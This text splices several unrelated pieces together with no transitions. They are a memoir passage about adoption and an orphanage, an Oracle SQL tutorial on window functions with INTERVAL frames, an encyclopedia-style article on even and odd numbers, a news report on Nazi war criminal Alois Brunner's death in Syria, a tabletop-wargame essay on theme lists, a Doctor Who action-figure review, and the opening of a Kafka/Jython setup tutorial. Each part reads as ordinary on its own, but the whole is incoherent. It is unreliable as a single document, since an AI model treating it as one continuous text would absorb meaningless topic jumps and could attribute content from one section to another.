In reality, by the 1970s, orphanages in the United States that remained open were not filled with healthy, white newborns-in-demand like my sister and me. They had become places of shelter for older troubled and abused kids. Orphanages were for the unlucky children, the ones who were not chosen, who were cast off or taken. It seemed entirely unfair that some of us got families and some of us didn’t, and the orphanage symbolized for me the fragility of my own good fortune.
On the other side of the world, in the orphanage where my nephew spent the first four months of his life, he had a First Mama, a nurse who was his primary caregiver, a nurse he might have called MAMAMAMA some day in the future when he was hot or hungry or bored. But another mama chose him before he could speak. Whenever my nephew’s First Mama brought him to my sister during visiting hours at the orphanage, my sister took him in her arms and said, “Hi, baby! It’s Mama.” He smiled as soon as he heard my sister’s voice.
One afternoon, while my sister bounced her baby in her arms before settling onto the mattress to give him his bottle, I slipped out into the hallway and looked in on the little girl next door. She was lying in her crib with her eyes on the ceiling. Her mouth kept opening and closing in silence, like a guppy trying to breathe out of water. I wondered if she was here because she was broken or if that would have made no difference anyway. Whatever the case, I knew that she would likely not be adopted, not if she were this old already, not this disabled. The odds of one of those amazing and brave parents who adopt children with special needs finding their way to this girl, in this orphanage, in this country, were slim.
I realized that I was standing in the doorway to one of my greatest childhood fears, facing the bullet my sister and I had dodged. I watched it strike this little girl instead, bypassing my sister and me, bypassing my nephew, too. We all got a family. She probably would not.
One feature that I rarely see in the wild (even if it is extremely useful for reporting) is called “logical windowing” in Oracle, and it’s most useful when used with INTERVAL ranges. Let’s see what we may want to do.
I have a payment table in my Sakila DVD rental store database. The payment table has payment dates, as can be seen here:
SELECT CAST(payment_date AS TIMESTAMP) ts FROM payment ORDER BY ts
output:
TS --------------------------- 24.05.05 22:53:30.000000000 24.05.05 22:54:33.000000000 24.05.05 23:03:39.000000000 24.05.05 23:04:41.000000000 24.05.05 23:05:21.000000000 24.05.05 23:08:07.000000000 24.05.05 23:11:53.000000000 24.05.05 23:31:46.000000000 25.05.05 00:00:40.000000000 25.05.05 00:02:21.000000000 25.05.05 00:09:02.000000000 25.05.05 00:19:27.000000000
Now, let’s assume I’m interested in these things:
How many payments were there in the same hour as any given payment? How many payments were there in the same hour before any given payment? How many payments were there within one hour before any given payment?
Those are three entirely different questions. The expected solution will be this:
TS 1 2 3 ------------------------------------------- 24.05.05 22:53:30.000000000 2 1 1 24.05.05 22:54:33.000000000 2 2 2 24.05.05 23:03:39.000000000 6 1 3 24.05.05 23:04:41.000000000 6 2 4 24.05.05 23:05:21.000000000 6 3 5 24.05.05 23:08:07.000000000 6 4 6 24.05.05 23:11:53.000000000 6 5 7 24.05.05 23:31:46.000000000 6 6 8 25.05.05 00:00:40.000000000 4 1 7 25.05.05 00:02:21.000000000 4 2 8 25.05.05 00:09:02.000000000 4 3 5 25.05.05 00:19:27.000000000 4 4 5
As you can see, in column #1, we’re getting always the same number of payments for any given hour. If we were using GROUP BY trunc(payment_date, 'HH24') , it would be simple to see that this would the result we were looking for:
TS 1 ----------------------------------- 24.05.05 22:00:00 2 24.05.05 23:00:00 6 25.05.05 00:00:00 4
Column #2 is a bit more sophisticated as it will also aggregatee the number of payments per hour, but only those that are before any given payment. For instance, in the hour of 24.05.05 23:00:00 , we have 6 payments (see above), and those are the different payment numbers within that hour. E.g. 24.05.05 23:11:53 is the fifth payment within that hour:
TS 2 ----------------------------------- 24.05.05 23:03:39.000000000 1 24.05.05 23:04:41.000000000 2 24.05.05 23:05:21.000000000 3 24.05.05 23:08:07.000000000 4 24.05.05 23:11:53.000000000 5 24.05.05 23:31:46.000000000 6
Finally, column #3 is using a sliding interval. For each payment, it checks how many payments were there in the time range between the current payment and one hour before. Now, excuse my ASCII art:
TS 3 ----------------------------------- 24.05.05 22:53:30.000000000 1 24.05.05 22:54:33.000000000 2 24.05.05 23:03:39.000000000 3 <------\ 24.05.05 23:04:41.000000000 4 | 24.05.05 23:05:21.000000000 5 | 24.05.05 23:08:07.000000000 6 | 24.05.05 23:11:53.000000000 7 <----\ | 24.05.05 23:31:46.000000000 8 <--\ | | 25.05.05 00:00:40.000000000 7 | | | 25.05.05 00:02:21.000000000 8 --- | - | -/ 25.05.05 00:09:02.000000000 5 --- | -/ 25.05.05 00:19:27.000000000 5 ---/
All of these are really useful for reporting, and all of these can be done rather easily with window functions. I’m using Oracle syntax here:
SELECT CAST(payment_date AS TIMESTAMP) ts, -- Column 1: Payments in the same hour COUNT(*) OVER ( PARTITION BY TRUNC(payment_date, 'HH24') ), -- Column 2: Preceding payments in the same hour COUNT(*) OVER ( PARTITION BY TRUNC(payment_date, 'HH24') ORDER BY payment_date ), -- Column 3: Preceding payments within one hour COUNT(*) OVER ( ORDER BY payment_date RANGE BETWEEN INTERVAL '1' HOUR PRECEDING AND CURRENT ROW ) FROM payment ORDER BY ts
Remember how column #1 is essentially the same thing as running a GROUP BY operation? That’s simple with window functions too. Just use a single PARTITION BY clause, and you get that grouping by the hour:
COUNT(*) OVER ( PARTITION BY TRUNC(payment_date, 'HH24') )
Column #2 is more interesting. Because we’re ordering the window, and because we’re not putting any explicit frame clause ( ROWS or RANGE ), by default, RANGE BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW is implied. The following two are the same:
COUNT(*) OVER ( PARTITION BY TRUNC(payment_date, 'HH24') ORDER BY payment_date ) COUNT(*) OVER ( PARTITION BY TRUNC(payment_date, 'HH24') ORDER BY payment_date RANGE BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW )
In other words, we group ( PARTITION BY ) all payments by the hour, order each group by the actual date, and limit / frame the window to the payments that preceed the current payment.
Column #3 is the most interesting and the least known, however. Unfortunately, it is not yet supported in all databases – e.g. PostgreSQL doesn’t have it), even if it’s part of the SQL standard.
COUNT(*) OVER ( ORDER BY payment_date RANGE BETWEEN INTERVAL '1' HOUR PRECEDING AND CURRENT ROW )
We’re no longer using the PARITION BY clause, because we don’t want to group payments into hours. Instead, we want to look behind one hour from each individual payment to see how many payments there were in that hour. But hours now don’t start / end at 00:00 minutes/seconds, they end in a given payment’s payment_date column (where Oracle DATE is really a timestamp).
This is a really nice feature that is available with DATE or TIMESTAMP columns only, when you pass an INTERVAL data type to the frame clause. I bet, however, that most of you have already had 1-2 reports where this might have been useful to know!
In mathematics, parity is the property of an integer's inclusion in one of two categories: even or odd. An integer is even if it is divisible by two and odd if it is not even.[1] For example, 6 is even because there is no remainder when dividing it by 2. By contrast, 3, 5, 7, 21 leave a remainder of 1 when divided by 2. Examples of even numbers include −4, 0, 82 and 178. In particular, zero is an even number.[2] Some examples of odd numbers are −5, 3, 29, and 73.
A formal definition of an even number is that it is an integer of the form n = 2k, where k is an integer;[3] it can then be shown that an odd number is an integer of the form n = 2k + 1. It is important to realize that the above definition of parity applies only to integer numbers, hence it cannot be applied to numbers like 1/2, 4.201. See the section "Higher mathematics" below for some extensions of the notion of parity to a larger class of "numbers" or in other more general settings.
The sets of even and odd numbers can be defined as following:[4]
Even = { 2 k : k ∈ Z } {\displaystyle =\{2k:k\in \mathbb {Z} \}}
Odd = { 2 k + 1 : k ∈ Z } {\displaystyle =\{2k+1:k\in \mathbb {Z} \}}
A number (i.e., integer) expressed in the decimal numeral system is even or odd according to whether its last digit is even or odd. That is, if the last digit is 1, 3, 5, 7, or 9, then it is odd; otherwise it is even. The same idea will work using any even base. In particular, a number expressed in the binary numeral system is odd if its last digit is 1 and even if its last digit is 0. In an odd base, the number is even according to the sum of its digits – it is even if and only if the sum of its digits is even.[5]
Arithmetic on even and odd numbers [ edit ]
The following laws can be verified using the properties of divisibility. They are a special case of rules in modular arithmetic, and are commonly used to check if an equality is likely to be correct by testing the parity of each side. As with ordinary arithmetic, multiplication and addition are commutative and associative in modulo 2 arithmetic, and multiplication is distributive over addition. However, subtraction in modulo 2 is identical to addition, so subtraction also possesses these properties, which is not true for normal integer arithmetic.
Addition and subtraction [ edit ]
even ± even = even; [1]
even ± odd = odd; [1]
odd ± odd = even;[1]
Multiplication [ edit ]
even × even = even; [1]
even × odd = even; [1]
odd × odd = odd;[1]
The structure ({even, odd}, +, ×) is in fact a field with just two elements.
Division [ edit ]
The division of two whole numbers does not necessarily result in a whole number. For example, 1 divided by 4 equals 1/4, which is neither even nor odd, since the concepts even and odd apply only to integers. But when the quotient is an integer, it will be even if and only if the dividend has more factors of two than the divisor.[6]
History [ edit ]
The ancient Greeks considered 1, the monad, to be neither fully odd nor fully even.[7] Some of this sentiment survived into the 19th century: Friedrich Wilhelm August Fröbel's 1826 The Education of Man instructs the teacher to drill students with the claim that 1 is neither even nor odd, to which Fröbel attaches the philosophical afterthought,
It is well to direct the pupil's attention here at once to a great far-reaching law of nature and of thought. It is this, that between two relatively different things or ideas there stands always a third, in a sort of balance, seeming to unite the two. Thus, there is here between odd and even numbers one number (one) which is neither of the two. Similarly, in form, the right angle stands between the acute and obtuse angles; and in language, the semi-vowels or aspirants between the mutes and vowels. A thoughtful teacher and a pupil taught to think for himself can scarcely help noticing this and other important laws.[8]
Higher mathematics [ edit ]
Higher dimensions and more general classes of numbers [ edit ]
a b c d e f g h 8 8 7 7 6 6 5 5 4 4 3 3 2 2 1 1 a b c d e f g h The two white bishops are confined to squares of opposite parity; the black knight can only jump to squares of alternating parity.
Integer coordinates of points in Euclidean spaces of two or more dimensions also have a parity, usually defined as the parity of the sum of the coordinates. For instance, the face-centered cubic lattice and its higher-dimensional generalizations, the D n lattices, consist of all of the integer points whose sum of coordinates is even.[9] This feature manifests itself in chess, where the parity of a square is indicated by its color: bishops are constrained to squares of the same parity; knights alternate parity between moves.[10] This form of parity was famously used to solve the mutilated chessboard problem: if two opposite corner squares are removed from a chessboard, then the remaining board cannot be covered by dominoes, because each domino covers one square of each parity and there are two more squares of one parity than of the other.[11]
The parity of an ordinal number may be defined to be even if the number is a limit ordinal, or a limit ordinal plus a finite even number, and odd otherwise.[12]
Let R be a commutative ring and let I be an ideal of R whose index is 2. Elements of the coset 0 + I {\displaystyle 0+I} may be called even, while elements of the coset 1 + I {\displaystyle 1+I} may be called odd. As an example, let R = Z (2) be the localization of Z at the prime ideal (2). Then an element of R is even or odd if and only if its numerator is so in Z.
Number theory [ edit ]
The even numbers form an ideal in the ring of integers,[13] but the odd numbers do not — this is clear from the fact that the identity element for addition, zero, is an element of the even numbers only. An integer is even if it is congruent to 0 modulo this ideal, in other words if it is congruent to 0 modulo 2, and odd if it is congruent to 1 modulo 2.
All prime numbers are odd, with one exception: the prime number 2.[14] All known perfect numbers are even; it is unknown whether any odd perfect numbers exist.[15]
Goldbach's conjecture states that every even integer greater than 2 can be represented as a sum of two prime numbers. Modern computer calculations have shown this conjecture to be true for integers up to at least 4 × 1018, but still no general proof has been found.[16]
Group theory [ edit ]
The parity of a permutation (as defined in abstract algebra) is the parity of the number of transpositions into which the permutation can be decomposed.[17] For example (ABC) to (BCA) is even because it can be done by swapping A and B then C and A (two transpositions). It can be shown that no permutation can be decomposed both in an even and in an odd number of transpositions. Hence the above is a suitable definition. In Rubik's Cube, Megaminx, and other twisting puzzles, the moves of the puzzle allow only even permutations of the puzzle pieces, so parity is important in understanding the configuration space of these puzzles.[18]
The Feit–Thompson theorem states that a finite group is always solvable if its order is an odd number. This is an example of odd numbers playing a role in an advanced mathematical theorem where the method of application of the simple hypothesis of "odd order" is far from obvious.[19]
Analysis [ edit ]
The parity of a function describes how its values change when its arguments are exchanged with their negations. An even function, such as an even power of a variable, gives the same result for any argument as for its negation. An odd function, such as an odd power of a variable, gives for any argument the negation of its result when given the negation of that argument. It is possible for a function to be neither odd nor even, and for the case f(x) = 0, to be both odd and even.[20] The Taylor series of an even function contains only terms whose exponent is an even number, and the Taylor series of an odd function contains only terms whose exponent is an odd number.[21]
Combinatorial game theory [ edit ]
In combinatorial game theory, an evil number is a number that has an even number of 1's in its binary representation, and an odious number is a number that has an odd number of 1's in its binary representation; these numbers play an important role in the strategy for the game Kayles.[22] The parity function maps a number to the number of 1's in its binary representation, modulo 2, so its value is zero for evil numbers and one for odious numbers. The Thue–Morse sequence, an infinite sequence of 0's and 1's, has a 0 in position i when i is evil, and a 1 in that position when i is odious.[23]
Additional applications [ edit ]
In information theory, a parity bit appended to a binary number provides the simplest form of error detecting code. If a single bit in the resulting value is changed, then it will no longer have the correct parity: changing a bit in the original number gives it a different parity than the recorded one, and changing the parity bit while not changing the number it was derived from again produces an incorrect result. In this way, all single-bit transmission errors may be reliably detected.[24] Some more sophisticated error detecting codes are also based on the use of multiple parity bits for subsets of the bits of the original encoded value.[25]
In wind instruments with a cylindrical bore and in effect closed at one end, such as the clarinet at the mouthpiece, the harmonics produced are odd multiples of the fundamental frequency. (With cylindrical pipes open at both ends, used for example in some organ stops such as the open diapason, the harmonics are even multiples of the same frequency for the given bore length, but this has the effect of the fundamental frequency being doubled and all multiples of this fundamental frequency being produced.) See harmonic series (music).[26]
One of the world's most wanted Nazi war criminals died in 2001 aged 89 after spending more than a decade incarcerated in a dilapidated Damascus basement, a French magazine has said.
The Revue XXI magazine reported that Austrian-born SS commander Alois Brunner spent his last years living in squalid conditions.
It said he remained a fervent anti-Semite right up to his death.
Brunner is accused of deporting more than 128,000 Jews to death camps.
He was in charge of the Drancy internment camp outside Paris where Jews rounded up in France were held before being sent to the death camps. An estimated 345 children were among his victims.
For many years there has been uncertainty as to whether Brunner - born in 1912 - is still alive, although the chief investigator pursuing him told the BBC in 2014 that he believed Brunner died in 2010 in Damascus.
Brunner is believed to have fled to Syria in the 1950s from West Germany, reportedly serving later as an adviser to the Syrian government on torture tactics before being shunned by the authorities.
'A monster'
The latest investigation by the Revue XXI magazine (in French) quotes one of Brunner's guards as saying that he "suffered and cried a lot in his final years, [and] everyone heard him".
Image copyright AFP Image caption Alois Brunner sent thousands of Jews to their deaths in Nazi camps
Image copyright AFP Image caption French lawyer Serge Klarsfeld - seen here during a press conference about Alois Brunner in 1985 - has welcomed news of the Nazi's death
The guard, identified only as Omar, said Brunner survived on meagre army rations in the last years of his life.
The magazine's findings have been welcomed by renowned Nazi-hunter Serge Klarsfeld.
"We are satisfied to learn that he lived badly rather than well," Mr Klarsfeld told the AFP news agency.
Brunner was removed in April 2014 from the Simon Wiesenthal Center's most wanted list, in a move signifying that it too considered him to be dead.
The SS commander played a key role in the implementation of Hitler's "Final Solution" to murder Jews and has been described by Nazi hunters as "a monster", responsible for sending 47,000 Jews in Austria, 44,000 in Greece, 23,500 in France and 14,000 in Slovakia to camps where most were murdered.
Alois Brunner
Was once described by Adolf Eichmann - the architect of the "Final Solution" - as one of his best men
Eichmann dispatched Brunner wherever he felt round-ups of Jews were proceeding too slowly
From June 1943 until the liberation of France, he sent thousands of Jews to their almost certain deaths
He waged a reign of terror on the French Riviera, hunting down Jews who had sought refuge in the relative safety of the Italian-occupied zone
It is widely believed that he lived under the false name of Georg Fischer while in Syria - and that successive regimes offered him protection
Syria has repeatedly denied harbouring him
“Are themes ruining the game?
The main concerns people have are that Themes:
Promote spam.
Remove list diversity as all lists are built the same.
Make list building less interesting, less choices.
Are the only way to play if you want to be competitive
Let’s take a look at some of these, shall we:
Theme Lists Promote Spam.
The truth is, that the only time a model gets spammed is when it is clearly too good at what it does for the points cost. You see, when you spam a particular model or unit you sacrifice toolkit options and you sacrifice flexibility. As Warmachine and Hordes players we value flexibility incredibly highly. We value a toolkit of tricks and interactions that can help us solve problems. Whenever you spam something you limit these options.
A good example would be spamming Marauders. The benefits are clear to see. They are cheap, hit really hard, have a strong combo smite ability, have lots of boxes for the points paid and thrive in a game where huge bases are in vogue. These are all great things that might make you consider spamming ten marauders in a theme.
But it gets more interesting when you look at what a Marauder can’t do. Firstly and most importantly it doesn’t have a gun. That’s fine you think, plenty of jacks don’t have a gun. It’s fine on it’s own, but when you spam something without a gun, you immediately cross a line. A clever opponent will abuse the fact you don’t have guns. Key solos will be safe all game, you will only attack the things they want you to attack and you can often lack an assassination presence. This means you aren’t keeping your opponent’s caster honest. Some casters in this game can feel downright unfair when they know you can’t kill them. A good example is Mk2 Harbinger, I play Trolls and it wasn’t uncommon to be facing her down without enough of a ranged assassination threat to keep her honest. The truth is that she was nearly unbeatable when she could martyr down to 1 health with no fear of reprisal. The attrition advantage was disgusting. This is an extreme advantage, but it holds true for many casters to a less extent. A squishy caster that can regularly spend down to one or zero each turn can be way more effective.
As a troll player I often see newer players taking two or three maulers. There is a general consensus that he is a good beast, I think he’s overrated, but that’s for another time. When people then spam them they miss out of several key tolls. They don’t have a beast with native pathfinder, sure they could give it rush if they also have an Axer, but if it has rush, it can’t have Rage. The Earthborn, which, at the start of MK3, most Troll players thought underwhelming has become more and more popular. It offers a defensive piece that can take an alpha and often survive, it can go in with Rage and it’s native pathfinder hitting much harder than a mauler with Rush. It also plays really interestingly with terrain which is in the ascendancy. All of this means that’s a good player will almost always utilize a mix of Earthborns and Maulers better than just spamming Maulers.
Attributes like Pathfinder, reach, boostable guns, all come with a price and you often end up in a situation where the jacks you want to spam are the cheap ones that lack these attributes, that means that a good opponent can often play around the spam if they can identify the weakness and exploit it. When the list has no clear weaknesses or the strengths outweigh them then these lists often become popular and eventually get looked at by Privateer Press. Good examples of which are Mad Dogs spam with Karchev, EE with Calandra and Bradigus. All three spammed and were strong enough to cover their exploitable weaknesses. PP stepped in and fixed them all relatively quickly. Chances are if you’re struggling against a spam and it’s not dominating the national and international level that it has weaknesses that you can exploit.
Theme lists Remove List Diversity
This particular claim makes me laugh, quite a bit. I am definitely of the opinion that lists are way more diverse than they have ever been. I feel list diversity comes down to two aspects, casters and the actual models in the lists.
If we start with casters I think it’s clear to see that caster diversity is at all time high. Let’s look at the faction that everyone complained about as the worst at caster diversity in MK2, Cygnar! You all remember MK2, Cygnar, right? We played for years and you saw Haley2 in every pairing. She was paired with Caine2, Siege or Haley3 almost all the time right? I see players on the national level. There is certainly still a lot of Haley2, but you also see people playing Haley3 without her or even ignoring both Haleys entirely. Themes have allowed casters like Maddox, Striker1, Striker2, Nemo3, Caine3, Sloan and hopefully after the current CID cycle Siege2 and Kraye will join that list. That’s excellent for not just the game, but also Cygnar players who will have more choice and diversity as they go.
Some of this is due to MK3 reworks, but it’s fair to say some of this is due to extra options provided by themes, see Striker1 or Nemo3 and some of it is because Haley can no longer take her ulta specialised list. She used to pick all her favourite merc solos and then a unit her and someone else’s character jack and it all worked, because it had huge synergy and an amazing toolkit, but now Haley sits there and thinks is all of that better than 4 free solos? Nope, so because everyone else plays in theme, she has to as well. She no longer goes first 60% of the time, because she had Anastasia in her list. She no longer has Ragman and so the list is a little worse against Armour, which was a weakness before. Suddenly you see that themes have reined her in just a little, even if the list is stronger than the previous list. When everyone gets a bit better with themes, the ones that only get a little bit better are less strong comparatively.
The second part is list diversity within a theme. Again I’m not sure that’s true. There are a few lists that offer very few options, but these are often the very flavourful Theme lists like Ghost Fleet. These are lists that have to be narrow, because they change the way the game is played. Even with these severe limitations we’ve seen Ghost Fleet regularly with Denny1, Terminus and the Witch Coven and Denny2. In the lists I’ve seen some people taking the Wraith Engine and others not. I’ve even seen quite a bit of variation in the jack packages for the particular lists and even variations were some people run with max units and some with min units. That is all in one of the most limited theme lists and it’s still got three different casters, multiple different jack packages and different ways of running the units.
When you look at other themes the diversity becomes much larger. Another example would be Legion of Steel for Khador. I’ve seen it with a variety of jacks including Colossals, Demolishers, Kodiaks and Marauders. Strakhov2 is taking his character jack, Torch. Some people are spamming Black Dragons for the high armour. Some are taking Iron Fang Pikemen, for the pathfinder, because this list doesn’t have great options for pathfinder, no Saxon available to this list, remember and so Relentless Charge is suddenly a big deal. Not just that, but it’s also a weakness, if you make them play on a table edge with lots of terrain they will be running at half speed. I went to a local tournament recently that was won by a WTC player playing Zerkova1 with two min units of Uhlans. So many options and so much diversity from one theme that had no releases specifically for it and yet list diversity is very much alive.
Looking at Jacks in particular, it’s hugely interesting to see what’s happened with bonded jacks. Not too long ago, you would see Ruin in every single Khador list. Now he’s a benefit of playing with Butcher. You have started seeing Lancers in Cygnar, because Thorn isn’t there saying. Why wouldn’t you take me? Character beasts can be really good, because they only go with one caster and that’s fantastic for list variety.
Imagine the things you can do when you have 5-6 themes and specific releases for those themes. It’s super exciting for the variety of the game.
Theme Lists remove the Creativity of List Building
Some of this is covered in the previous fallacy, but list building is more interesting that it has ever been. PP sometimes misses the mark, but when they get it right, a theme provides strengths and weaknesses and it’s your challenge to try and cover those weaknesses with creativity. If we can go back to Trolls, the Power of Dhunia theme is excellent. Trolls beasts are great, but the theme does lack unit options other than Runeshapers who are bit to expensive to run as a tarpit. The theme has helped Troll players move away from Fire Eaters which were in many lists pre theme and experiment with light beasts like Storm and Swamp Trolls as well as the Earthborn as a tough to remove pivot. These kind of limitations make you improvise and change your play style to help cover issues that could exist and this is the exciting part.
Another example would be the popular Heavy Metal list for Cygnar. In this case getting the points to work just right meant that Cygnar players were suddenly looking at Hammersmiths and the Ironclad. Suddenly these two rarely seen jacks were having their strengths and weaknesses considered by Cygnar players, because they both happened to be 12 points.
Everytime a new theme comes out you will have the opportunity to consider it with all your existing casters and conversely, every time a new model or caster comes out you can consider how it works in all the themes it’s available in. The options in any one list are less, but too often pre Theme we would fall back on the same options that we felt were obviously the best and not try things out. Why look at Exemplar Errants if Idrian Skirmishers exist? Well Errants can be taken in the Errant theme and once you get them on the table you realise they play differently and offer interesting differences.
Themes need to be taken if you want to be competitive.
To a degree, that’s true. It can certainly feel annoying to play points down against a force, just because it’s in theme. In many ways it’s a shame that Privateer Press made so many spells Friendly Faction during the transition to MK3. It would be an interesting choice if you could losing access to Mercs and Minions was another factor to consider when choosing whether to play in theme or not.
| By
Doctor Who Classics
7th Doctor and Imperial Dalek
5 Inch Scale
By: Character Options
It seems as of lately that the site has become really inundated with Doctor Who content. That’s not entirely intentional, but I had hoped to ramp up a bit of Who coverage and so it continues. Sylvester McCoy’s seventh incarnation of the character is perhaps the most divided for fans. McCoy took over after the arguably disastrous run of Colin Baker and basically helmed a show that the BBC was keeping around purely to satisfy the public.
Which inevitably made McCoy the man who had to deal with some dreadful scripts and meager budgets, even by Doctor Who standards. He was also the guy who was the last real Doctor, until the show was revived in the new millennium. Sure, there was the 8th Doctor movie, but that was a blip on the radar at best. Despite all that, I’ve always liked McCoy. Admittedly, his episodes where he’s given a little meat are quite good.
The Tardis arrives in London, November 1963, where the Doctor and Ace discover that two rival factions of Daleks – one loyal to the Dalek Emporer and one to the Dalek Supreme – are seeking the Hand of Omega, a powerful Time Lord device that the first Doctor hid there during an earlier sojourn on Earth.
Such is the case with the serial that this two pack is based. It’s one of my favorite 7th Doctor episodes. Ace isn’t too annoying, there’s lots of Who history at play and it has a good period aspect going for it. Sometimes the best stories are the ones on Earth. This was Character Options first version of McCoy, and they picked a fine episode to pay tribute to but how did they do with the figures?
Packaging :
Before we had window boxes, the Classic Who two packs all came in clamshells. These are nice clamshells if you’re a fan of this style of package. The great part about the packaging is that it matches all your previous Doctor Who Classics single cards… Well at least it did until they started coming in boxes!
The package has some nice still shots and a pretty basic breakdown of the plot of the episode. It’s more of the same if you’ve been following the line for a long time. Still, as always, it’s nice to get these little things. CO generally does the packages right.
Sculpt & Paint :
Designworks, who handle all of the sculpting and figure creation for Character Options are some of the best in the business at what they do. Doctor Who figures have some of the best likenesses around. However, this is more challenging on older characters like the ones in the Classics line. They can’t simply go in and “real scan” Tom Baker and get the same likeness. Well, I suppose they could with McCoy, but you know what I mean. This figure is meant to depict how he looked in the 1980’s.
In general, this is a pretty good sculpt. They’ve went for a happier look for McCoy, which he was known to sport a bit more in the earlier episodes. However, throughout a lot of this particular episode, he’s more somber or in deep thought, than anything. There’s a great photo of a slightly more whimsical but still methodical 7th Doctor on the back of the package and I wish I could say that the facial expression of this figure matched that.
Unfortunately the likeness is just a bit off as a result. It’s still good, but it treads a little into caricature. For what it’s worth, Designworks also did a unhatted head in another release of the 7th Doctor and I find it’s a much better likness. The hat here is well done, but as of yet we haven’t received a version of the 7th with a hat on the other head. That might be the perfect incarnation of the 7th, or the real McCoy, if you will.
There’s still lots to love on the rest of the sculpt, though. Intricate details are designed throughout and there’s some quite good sculpting on the 7th’s infamous sweater. Likewise, the paint work on these details are pretty sharp. What’s a Doctor Who without some question marks on his sweater, no?
Although scale is not exactly perfect in this line, there is a concerned effort to make it somewhat generally correct. McCoy is quite short in real life (he wasn’t cast for a role in The Hobbit for nothing!) and appears quite short in stature in his figure form as well.
While the brown coat was more iconic for this version of the Doctor, I’m glad we got the cream version as well. In fact, I’d love a movie version of the 7th Doctor. One of my favorite portrayals of the character is his brief appearance in the aforementioned movie where he passed the reins on.
Sadly, perhaps because of the sheer number of these little intricate details there is a fair amount of slop and even what I can only call “misprint” on this figure. Certain areas just seem to be stamped a little out of frame. It’s not super noticeable in person, but it’s there. I suppose it could be that these figures were almost rushed out.
I say that because although my particular Imperial Dalek is literally perfection, our old pal Lt. Clutch sent along some photos of his Dalek which did not have the special indentations on the plunger arm. I’d post those pictures, but I seem to have misplaced them. Did anyone else receive a dodgy Dalek?
Anyway, my Dalek is perfect. I mean it, it’s probably the one of the cleanest, most perfect Daleks in my collection. Which is quite nice since the gold and white design is so striking. For the most part, Daleks have only a handful of things that separate them. At a point, Character Options isn’t really putting out “new” Daleks so much, as new incarnations of their already tooled Dalek parts. Even so, when it’s done right, it’s grand.
We’re a long, long ways away from Dapol’s attempts. In fact, despite the Daleks having a relatively simple design, nobody has nailed it quite like the Designworks team. Character Options should be proud of the work they’ve done on this particular incarnation of the Dalek.
Articulation :
You get the usual assortment of cuts, hinges and swivels with the 7th Doctor. By now most fans are familiar with this style of articulation and either love it or tolerate it. I’m perfectly content for the most part, but I suspect that’s clear by now.
I did find the neck joint a bit stiff on my McCoy. Enough that I was afraid if I forced it too much, some of Sylvester’s neck paint would rub off. Thankfully that issue didn’t actually occur, but it’s worth noting.
Anywho, your articulation breakdown is as follows: Swivel neck, swivel arms, swivel upper bicep, hinge elbows, swivel wrists, swivel waist, swivel hinge legs (WHO CROTCH©), swivel thigh and hinge knees. It’s a pretty good assortment for one of the friskier Doctors.
Daleks have pretty standard articulation across the board as well and the Imperial Dalek is no different. You have a eye stalk that can move up and down, cut “neck” and ball jointed arms. The Dalek also has three wheels on the bottom. One that can rotate 360 and two back wheels that can only roll forward and back.
Accessories :
For $40 he better come with a damn umbrella!
AND HE DOES!
The umbrella isn’t anything impressive, but it’s done well enough. It fits in either hand alright, but it can’t hang from his pocket. Although I’m not sure if they would have been able to achieve that without compromising the sculpt. The Dalek comes with nothing but his undying need to exterminate, which, is all it really needs.
Value :
Oh value, why must you be subjective?! In all seriousness, at $40 this would be a tough pill to swallow for many casual fans. Thankfully this set includes a pretty nifty version of the 7th Doctor, pays homage to one of his best episodes and has an Imperial Dalek to boot. It’s a great piece for a collector like me who wants to have some Sylvester McCoy lovin’ and likes to army build Daleks. For those who aren’t in that category, you may be more willing to pass. Of course, when this first came out it was the only way to get a 7th Doctor and at that time, made it must buy material.
Score Recap
Packaging: 8Sculpting: 8Paint: 7Articulation: 8Accessories: UmbrellaValue: 8
Note: A complementing repository for this post can be found at: https://github.com/mrafayaleem/kafka-jython
With the release of Kafka 0.9.0, the consumer API was redesigned to remove the dependency between consumer and Zookeeper. Prior to the 0.9.0 release, Kafka consumer was depenedent on Zookeeper for storing its offsets and the complex rebalancing logic was built right into the “high level” consumer. This was causing a couple of issues which are discussed here. Due to the issues invloving complex rebalance algoritihm within the consumer, some Kafka clients had no support for “coordinated consumption”. Essentially, it means that without “coordinated consumption”, you cannot have N consumers within the same consumer group consuming on the same topic which defeats one of the purpose of Kafka; to balance load across multiple consumers. I saw this problem while using kafka-python 0.9.2 client library with Kafka 0.8.x . While I was trying to setup multiple consumers within the same consumer group, I noticed that every message to that topic would be reproduced on each and every consumer within that same group, defeating the purpose of Kafka being used as a traditional queing system with a pool of consumers. The issue has been discussed on Github.
One of the solution that I managed to figure out without moving away from Python was to use Jython for writing consumers for Kafka 0.8.x. The other solution was to use PyKafka for Kafka 0.8.x as it supports coordinated consumption.
In this post, I would discuss about what you can do with Jython to resolve the Kafka 0.8.x issue and why it actually works. In a more traditional sense, this post may also work as a tutorial for interfacing Jython with Java.
Setup
You need to have the following installed on your system. The tutorial assumes that you are familiar with these tools.
Java SDK
Python
virtualenv and virtualenvwrapper
and Kafka 0.9.x or Kafka 0.8.x (assuming you know how to setup and run Kafka)
I have setup a bare-bones repositiory for working with this tutorial here. To keep things at a minimum, Kafka 0.9.1 binaries and Jython 2.7.0 installer are included within this repo. This means that you can directly run Kafa and Zookeeper after cloning this.
Setting up a virtualenv for Jython
Jython is fully compatible with virtualenv and tools such as pip and setting a virtualenv with Jython as the interpretter is pretty straightforward.
Jython can be installed using the GUI or console. For GUI, execute the jar and follow the steps. For installing it via console, you can use the following command to start with:
java -jar jython_installer-2.7.0.jar --console
Make a note of the location where you have installed Jython.
cd into the directory where you cloned the repo and create a virtualenv using Jython as your interpretter by using the following:
mkvirtualenv -p /jython-installation-path/jython2.7.0/bin/jython -a kafka-jython kafka-jython
You should be in the repo directory right now with your virtualenv already activated.
The project layout is as follows:
. ├── bin │ └── windows ├── build ├── config ├── examples │ └── src │ └── main │ ├── java │ │ └── kafkajython │ └── python │ └── consumers ├── libs └── requirements
bin: Contains helper scripts from Kafka and other binaries.
Contains helper scripts from Kafka and other binaries. build: This is where your compiled files would go.
This is where your compiled files would go. config: Various kafka configs.
Various kafka configs. examples: Jython and Java code for this tutorial.
Jython and Java code for this tutorial. libs: Kafka jars which we will use as dependencies.
Kafka jars which we will use as dependencies. requirements: Python library dependencies.
Installing Python dependencies
Once in the repo directory, install all Python dependencies using:
pip install -r requirements/development.txt
Compiling source code
Since one of our examples depends on calling Java class directly from Jython, we need to compile it first using:
javac -cp ".:/your-directory/kafka-jython/libs/*" -d build examples/src/main/java/kafkajython/Consumer *
